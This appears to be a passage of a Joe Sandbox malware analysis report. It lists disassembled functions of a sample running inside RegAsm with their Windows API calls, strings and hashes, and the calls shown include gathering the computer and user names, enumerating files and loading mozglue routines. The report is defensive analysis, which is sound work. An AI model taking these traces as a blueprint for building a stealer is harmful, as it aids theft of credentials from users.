VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$AllocName$ComputerExitUser
String ID:
API String ID: 1004333139-0
Opcode ID: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 0dde54e68933c144dc9d433c77b62f5ff363c8b2548fcf823f9b9f06c0cc5b37
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004098D0 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 004098D8

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction ID: 85591d8b2077324c158e0d5cdc0cd752fc6e9f2d8541dbcaab8872a49f7b11e9
Opcode Fuzzy Hash: 1aee106081fe82a84b5a838b5431766f4324473991f19cdffcfc85f73d7ea574
Instruction Fuzzy Hash: CFF054B4D00208FBDB00EFA5C946B9EB7B4AB08304F1085A9FD05A7381E6749B00CB95

Non-executed Functions

Function 6C2E6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C2E6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C2E6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C2E6D26

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C2E6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C2E6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C2E6D73
free.MOZGLUE(00000000), ref: 6C2E6D80
CertGetNameStringW.CRYPT32 ref: 6C2E6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C2E6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C2E6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C2E6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C2E6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C2E6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C2E6E34
CreateFileW.KERNEL32 ref: 6C2E6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C2E6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C2E6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C2E709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C2E7103
free.MOZGLUE(00000000), ref: 6C2E7153
CloseHandle.KERNEL32(?), ref: 6C2E7176
__Init_thread_footer.LIBCMT ref: 6C2E7209
__Init_thread_footer.LIBCMT ref: 6C2E723A
__Init_thread_footer.LIBCMT ref: 6C2E726B
__Init_thread_footer.LIBCMT ref: 6C2E729C
__Init_thread_footer.LIBCMT ref: 6C2E72DC
__Init_thread_footer.LIBCMT ref: 6C2E730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C2E73C2
VerSetConditionMask.NTDLL ref: 6C2E73F3
VerSetConditionMask.NTDLL ref: 6C2E73FF
VerSetConditionMask.NTDLL ref: 6C2E7406
VerSetConditionMask.NTDLL ref: 6C2E740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C2E741A
moz_xmalloc.MOZGLUE(?), ref: 6C2E755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C2E7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C2E7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C2E7598
free.MOZGLUE(00000000), ref: 6C2E75AC

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C2E72C8
wintrust.dll, xrefs: 6C2E72CD
(, xrefs: 6C2E768A
SHA256, xrefs: 6C2E6EC0

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: a9bab5f5158e74f24f74657ff4e80d407000fae113442b1cb4fd4139d8db2c85
Instruction ID: 9bff600525ddee826abfcd50d99ae641de5048c178c98ccabe0153d10e1d3183
Opcode Fuzzy Hash: a9bab5f5158e74f24f74657ff4e80d407000fae113442b1cb4fd4139d8db2c85
Instruction Fuzzy Hash: 9C529571A003199FEB21DF64CC84FAA77BCEB49708F504199F909AB641DB74AE84CF51

Function 6C31F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412threadtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31F09B

Part of subcall function 6C2F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5B85
Part of subcall function 6C2F5B50: EnterCriticalSection.KERNEL32(6C35F688,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5B90
Part of subcall function 6C2F5B50: LeaveCriticalSection.KERNEL32(6C35F688,?,?,?,6C2F56EE,?,00000001), ref: 6C2F5BD8
Part of subcall function 6C2F5B50: GetTickCount64.KERNEL32 ref: 6C2F5BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C31F0AC

Part of subcall function 6C2F5C50: GetTickCount64.KERNEL32 ref: 6C2F5D40
Part of subcall function 6C2F5C50: EnterCriticalSection.KERNEL32(6C35F688), ref: 6C2F5D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C31F0BE

Part of subcall function 6C2F5C50: __aulldiv.LIBCMT ref: 6C2F5DB4
Part of subcall function 6C2F5C50: LeaveCriticalSection.KERNEL32(6C35F688), ref: 6C2F5DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C31F155
GetCurrentThreadId.KERNEL32 ref: 6C31F1E0
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F1ED
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F212
GetCurrentThreadId.KERNEL32 ref: 6C31F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C31F248
GetCurrentThreadId.KERNEL32 ref: 6C31F2AE
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F2BB
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F2F8

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31F350
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F35D
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F381
GetCurrentThreadId.KERNEL32 ref: 6C31F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F3A0
GetCurrentThreadId.KERNEL32 ref: 6C31F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F491

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C31F3CF

Part of subcall function 6C31F070: GetCurrentThreadId.KERNEL32 ref: 6C31F440
Part of subcall function 6C31F070: AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F44D
Part of subcall function 6C31F070: ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C31F4A8
GetCurrentThreadId.KERNEL32 ref: 6C31F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F561
GetCurrentThreadId.KERNEL32 ref: 6C31F577
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F585
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C31F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C31F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C31F56A
[I %d/%d] profiler_resume, xrefs: 6C31F239

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: cde7f57a9b333fd89d97b7004c41676fb798ad8ae93e6da09aef48b8075ac628
Instruction ID: 250ca9fa697b91976803dd5a8d9f4388048ac62feb3eeae90270f1dd4dacbbcc
Opcode Fuzzy Hash: cde7f57a9b333fd89d97b7004c41676fb798ad8ae93e6da09aef48b8075ac628
Instruction Fuzzy Hash: A9D1E3757083049FDB049F69D4047AA7BBCEF4E32CF95462AE95587F80CB7558088FA2

Function 6C2E64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C2E64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C2E64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C2E6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C2E6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C2E652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C2E671C
GetCurrentProcess.KERNEL32 ref: 6C2E6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C2E672F
GetCurrentProcess.KERNEL32 ref: 6C2E6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C2E6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C2E6A80
GetSystemInfo.KERNEL32(?), ref: 6C2E6ABE
__Init_thread_footer.LIBCMT ref: 6C2E6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2E6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C2E6AF7

Strings

detoured.dll, xrefs: 6C2E64DA
nvd3d9wrap.dll, xrefs: 6C2E6500
_etoured.dll, xrefs: 6C2E64ED
user32.dll, xrefs: 6C2E6526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C2E6798
nvdxgiwrap.dll, xrefs: 6C2E6513

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: fa92318a0167b39854415ba28480fcd50516b9d1a208777bf950ac038020f222
Instruction ID: e01fdb230937644b4de74f04260d53df9245a45429e71c53c6c727f516b6ba6c
Opcode Fuzzy Hash: fa92318a0167b39854415ba28480fcd50516b9d1a208777bf950ac038020f222
Instruction Fuzzy Hash: AEF1E470A0122E8FDB20CF64CC88BDAB7B5EF09319F944199ED19A7741D731AA84CF90

Function 6C2FED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C2FEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C2FEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C301695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C3016B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C301770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C301A3E

Strings

~q-l, xrefs: 6C2FED10
~q-l, xrefs: 6C2FED13

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~q-l$~q-l
API String ID: 3693777188-3782353162
Opcode ID: 65b009aab3e4ea02fdbb4922c31a6faa28343413e97a0a154ee096caa05cab03
Instruction ID: 6c3a2f40dd9fd8d6bc63fd2fff682e33b01bd6b788862e5b7867695a463a430a
Opcode Fuzzy Hash: 65b009aab3e4ea02fdbb4922c31a6faa28343413e97a0a154ee096caa05cab03
Instruction Fuzzy Hash: 45B31A72E04219CFCB14CFA8C890A9DF7B2BF49308F1581A9D959AB745D731AD86CF90

Function 00414050 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
HeapAlloc.KERNEL32(00000000), ref: 00414067
wsprintfA.USER32 ref: 00414086
FindFirstFileA.KERNEL32(?,?), ref: 0041409D
StrCmpCA.SHLWAPI(?,00420F94), ref: 004140CB
StrCmpCA.SHLWAPI(?,00420F98), ref: 004140E1
FindNextFileA.KERNEL32(000000FF,?), ref: 0041416B
FindClose.KERNEL32(000000FF), ref: 00414180
lstrcat.KERNEL32(?,00EF2B80), ref: 004141A5
lstrcat.KERNEL32(?,00EF17C0), ref: 004141B8
lstrlenA.KERNEL32(?), ref: 004141C5
lstrlenA.KERNEL32(?), ref: 004141D6

Strings

%s\*, xrefs: 0041407A
%s\%s, xrefs: 004140FB

Memory Dump Source

Source File: 00000002.00000002.2377548003.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2377548003.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2377548003.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

